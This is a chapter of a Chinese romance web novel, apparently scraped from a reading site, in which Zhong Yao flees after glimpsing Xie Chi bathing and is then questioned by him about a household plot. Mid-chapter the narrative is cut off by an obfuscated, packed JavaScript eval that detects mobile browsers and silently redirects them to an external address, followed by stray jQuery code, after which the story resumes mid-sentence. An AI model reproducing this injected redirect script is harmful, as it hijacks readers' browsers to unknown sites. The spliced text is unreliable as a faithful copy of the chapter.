17.画面

作品:《三小姐决定去死

    “还不出去,等着看我还剩下多少清白是吗?”


    随着这声压抑着火气的冷冽呵斥,钟遥狼狈地跑出了房间。


    她从房间里走出来了,那场水中裸男的画面却没能从她脑子里走出来。


    这是钟遥十多年来头一次看见男人的裸体,还离得那么近,刺激太大导致她只要一闭上眼睛,脑海中就浮现出湿淋淋的健硕胸膛,胸膛上还落有一缕被水打湿了的黑发……


    还有水下……水下的东西根本没法想!


    她面红耳赤,双手捧着脸拍了好几下,正在努力把脑海中的画面驱逐出去,听见有人道:“太好了,你成功守护住了我大哥的清白,他一定很感谢你吧?”


    钟遥抬头,看见了喜笑颜开的薛枋。


    相识这么久,钟遥第一次见他这么开心,如果他的开心不是建立在自己倒霉上的,那就更好了。


    钟遥现在知道了,薛枋说的没错,那位连姑娘的伎俩根本不能将谢迟如何,确实是没必要过来帮忙的。


    薛枋之所以跟她过来,就是想戏耍她。


    她真是被他坑害惨了。


    “是你推我进去的。”钟遥道,“我要告诉谢世子。”


    薛枋一点也不怕,道:“你去告呗,你敢去吗?”


    钟遥想着方才谢迟的脸色,确实是不敢的。


    ……还是趁谢迟穿好衣裳之前赶紧逃走吧!


    她捧着脸颊又拍了几下,回头看了眼紧闭的房门,根本不敢想象里面的情形,踮着脚就要跑。


    才迈出两步,里面的人就跟瞧见了似的,命令道:“在外面等着。”


    钟遥抬起的脚仿佛瞬间变得有万钧重,拖拽着她停了下来。


    “嘻嘻。”薛枋幸灾乐祸地笑着,道,“早让你听我的,你不听,现在好了,你被我大哥扣留,我想去哪就去哪儿,你满意了吧?”


    钟遥不想跟他讲话,背过了身去。


    薛枋也没多想跟她讲话,嘲笑完了,转身就要走,房间里传来一道新的命令:“敢走,腿给你打断。”


    薛枋表情一垮,脑袋瞬间跟淋了寒霜的野草一样耷拉了下来。


    两人在房门外等了不知道有多久,听见勒令声重新进屋的时候,谢迟已经穿戴整齐地坐在了外间。


    非常整齐,除了双手与脖子以上部位,其余地方都严严实实。


    不过在亲眼看见过他□□的模样后,再严实的衣裳都成了摆设,钟遥只需要瞟一眼,他的衣裳就形同无物了。


    太刺激了!


    钟遥慌慌张张移开眼,目光紧紧盯着桌腿,就好像那是金子做的。


    “谁来说?”谢迟问。


    说什么?


    说什么不重要,反正钟遥想先说,说完了赶紧走,她还要去找陈二小姐。


    “我……”


    “她!”


    钟遥与薛枋傅声音一同想起。


    谢迟端着茶盏饮了一口,茶水凉了,有些苦涩。


    他略微皱眉,放下茶盏,扫了面前的两人一眼,道:“那就薛枋说。”


    薛枋瘪嘴,不情不愿道:“祖母与钟遥俩人不和,钟遥不乐意在那儿待着,我就带她去我那儿休息,路上碰见邹管家跟人密谋要来你这儿使坏,钟遥怕你吃亏,非要过来。”


    谢迟听完点点头,问:“你俩是蠢货吗?”


    薛枋转头对着旁边的钟遥道:“我大哥问你你是蠢货吗?”


    钟遥低着头,道:“我是在做好事,我才不蠢,你这样骂人,我不服气……”


    如果她说话时能把脖子直起来,表情能坚定点,谢迟多少要夸她一句硬气,可看着面前耷拉着的脑袋,他只觉得闹心。


    谢迟揉了揉额头,问:“入府的时候见着连夫人了?”


    “见着了。”钟遥回答。


    “她府上所有女眷都被封在院子里不得外出,她却能跑出来,为什么?”


    “因为……有人帮她?”


    “谁帮的她?”


    “呃……”


    看钟遥答不上来,谢迟换另一个问题:“她好不容易跑出来了,只是为了来我门前叫喊几声?”


    被他这一问,钟遥发现确实不对劲儿,她若是连夫人,好不容易跑出来了,肯定是去找可靠的人求救,而不是大庭广众之下来永安侯府闹事。


    更何况,连夫人没喊几句就被带走了,总不能她出来一趟,就为了给侯府增添点热闹吧?


    “声东击西!”薛枋道,“她肯定是为了吸引别人的注意!”


    这日宾客本就很多,连夫人那么一闹,多少会引起些骚乱,大家的注意力都在前面,后面才好有动作。


    下人过来通知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083930|194535||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谢迟时,他就猜到了府中一定会有人捣乱,既然与连府有关,那么,对方的目的一定是他。


    为此,谢迟分外地配合,不出所料地将人勾了出来。


    邹管事与那位连姑娘早就被侍卫带下去关了起来,可谢迟没想到,每一步都是按他预想的发展的,他却还是着了道。


    想到方才那震惊地盯着他身躯的目光,谢迟就来气。


    他又饮了一口苦涩的茶水,火气未能消耗分毫,谢迟索性站起来,两步跨到钟遥面前,低头质问:“这么浅显的道理,想不懂吗?”


    他一过来,刚沐浴后残余的水汽裹着男人身上的热气交织在了一起,如浪潮般狠狠拍到钟遥身上,随后变幻成一张大网,将她挟裹了起来。


    有点清爽,有些灼热,让人很不自在。


    钟遥被迫嗅了几口,局促地看着面前的赤金暗纹交襟衣裳,脑海中又浮现起它下面藏着的精壮胸膛……她呼吸一滞,顿时感觉自己要喘不过气了。


    钟遥不敢看谢迟的身子,不敢看他的眼睛,头垂得更低了。


    “抬头!”谢迟道。


    钟遥:“……”


    她觉得还是不抬的好。


    正装死,一只手伸了过来,扳着她下巴强迫她将脸抬了起来。


    这一抬,两人的目光正好一高一低地相撞。


    坦白说,钟遥长得很漂亮,今日又特意装扮过,近距离瞧着,白瓷的肌肤与饱满面颊搭着那双充斥着盈盈光泽的灵动眼睛,显得她格外的莹润动人。


    谢迟有一瞬间失神,随后脸色唰地变得铁青。


    因为他清楚地看到钟遥目光闪躲,小眼神飘来飘去,就是不敢往他身上落。


    而她露在外面的脸颊、脖子全都跟扑了胭脂一般,肉眼可见的变得通红。


    “你在想什么?”谢迟语气变得低沉,像是在诱哄,又像是在恐吓,听着十分危险。


    “我我我……”钟遥不敢看他,缩着脖子道,“……你能离我远点吗……这样子我没法说话……”


    “怎么?我丑到你了?”


    那必然不是。


    “谢世子,你……”钟遥结结巴巴,深吸了一大口气,才悄声说了后半句,“谢世子,你身上好香啊……香得我脑子有点迷糊了……”


    谢迟脸一沉,真恨不得当场将她掐死!